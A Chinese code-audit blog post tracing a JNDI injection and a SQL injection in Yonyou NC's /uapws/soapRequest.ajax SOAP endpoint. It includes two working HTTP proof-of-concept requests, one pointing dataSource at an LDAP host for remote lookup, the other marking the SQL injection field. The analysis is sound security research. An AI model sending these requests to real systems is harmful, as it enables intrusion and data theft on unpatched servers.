用友的一处jndi及sql注入审计

首先查看其中一个模块的映射配置

image

经分析,这里所有的映射均可利用,以SoapRequestAction类为例

image

首先查看SoapRequestAction的流程,在execuse方法中获取了两个参数,wssoap

image

然后将两个参数传进sendRequest方法,在sendRequest方法中,会根据传进的ws参数去查找对应的soap接口服务

image

传进来的soap参数则作为soap接口参数来进行请求

image

从上面流程得知这是一个soap服务

参数表现为:

1
ws=webservice接口&soap=webservice接口参数

 

接下来查找可以利用的webservice接口

IMsgCenterWebService.wsdl接口文档中,存在很多个字符串参数dataSource,根据字面意思,假设他存在一个数据源连接功能

image

需要跟进相应方法查看参数是否真的是数据源连接功能,能不能用作jdbc反序列化

根据接口文档名称,得到接口类nc.itf.msgcenter.IMsgCenterWebService,我们以uploadAttachment方法为例跟进

image

图中接口对应的实现类为

MsgCenterWebServiceImpl.class

在该实现类的uploadAttachment方法中又调用IMsgCenterService接口的实现

image

查看IMsgCenterService接口

image

对应的实现类

MsgCenterServiceImpl.class

uploadAttachment方法中,会将我们前面注意到的dataSource等参数传进resetInvacationInfoByMsgID方法做处理

image

跟进resetInvacationInfoByMsgID方法,参数传进来后,首先是做了一个初始化。具体为:将参数dataSource设置为UserDataSource的值,以供后面的流程调用

image

另一个传进的参数pk_sourcemsg则是传进retrieveByPK方法做查询

image

继续跟进流程

BaseDAO.class

retrieveByPK方法中,封装了一个manager对象,这里的dataSource是上面说到设置的UserDataSource值,即传进的参数dataSource

image

跟进createPersistenceManager方法

image

PersistenceManager.getInstance返回的是他的子类JdbcPersistenceManager

image

所以跟进JdbcPersistenceManager

JdbcPersistenceManager.class

JdbcPersistenceManager对象中做了一次初始化,此时的dataSource就是传进的参数dataSource

image

接着进入到init方法,在init方法中,又使用JdbcSession对象来处理dataSource

image

查看JdbcSession.class

在构造函数JdbcSession里对dataSource进行连接

image

具体看getConnection方法:

image

往下就是触发流程了

DataSourceCenter.class

变量name是传进的参数dataSource,在DataSourceCenter.getConnection方法中将参数传递到Context.lookup,到这里就可以确定这是一个jndi注入了,与JDBC反序列化无瓜

image

image

验证:

根据IMsgCenterWebService.wsdl接口文档构造soap参数

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /uapws/soapRequest.ajax HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 783
Connection: close

ws=nc.itf.msgcenter.IMsgCenterWebService&soap=<?xml version="1.0" encoding="UTF-8"?><env:Envelop xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:sn="http://msgcenter.itf.nc/IMsgCenterWebService">
<env:Header/>
<env:Body>
<sn:uploadAttachment>
<dataSource>ldap://0.0.0.0:1389/Test</dataSource>
<msgtype>?</msgtype>
<pk_sourcemsg>?</pk_sourcemsg>
<filename>?</filename>
<file>?</file>
</sn:uploadAttachment>
</env:Body>
</env:Envelop>

image

最后:

在审计时一度以为这是一个jdbc反序列化,给人错觉的地方太多了,好在最后验证时成功了,且报错的内容与过程看到的一致

最后的最后:

这个接口里还有个紧急注入,不修就倒闭:MsgCenterServiceImpl

参数拼接:

image

这个方法由这里调用

image

根据代码可以看到这里参数必须是json格式,只需要pk_sourcemsg参数为空就可以进入else流程,造成注入

这个方法最终由这里调用

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /uapws/soapRequest.ajax HTTP/1.1
Host: 127.0.0.1:8023
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 457
Connection: close
ws=nc.itf.msgcenter.IMsgCenterWebService&soap=<?xml version="1.0" encoding="UTF-8"?><env:Envelop xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:sn="http://msgcenter.itf.nc/IMsgCenterWebService">
<env:Header/>
<env:Body>
<sn:doAction>
<dataSource>这里需要有数据源地址才能进行下面的注入,嘻嘻</dataSource>
<actionCode>这些参数随便填,我直接?</actionCode>
<pluginType>这些参数随便填,我直接?</pluginType>
//这里就是注入点,pk_sourcemsg为空就可以注入user的值,继续跟进你们会发现,如果注入参数是order开头,那场景就是 sql = sql + " " + condition; 否则就是 sql = sql + " WHERE " + condition;
<param>{"pk_sourcemsg":"","user":"注入点"}</param>
</sn:doAction>
</env:Body>
</env:Envelop>

 

 

 




声明:
本文章用于学习交流,严禁用于非法操作,出现后果一切自行承担,阅读此文章表示你已同意本声明。

Disclaimer:
This article is for study and communication. It is strictly forbidden to use it for illegal operations. All consequences shall be borne by yourself. Reading this article means that you have agreed to this statement.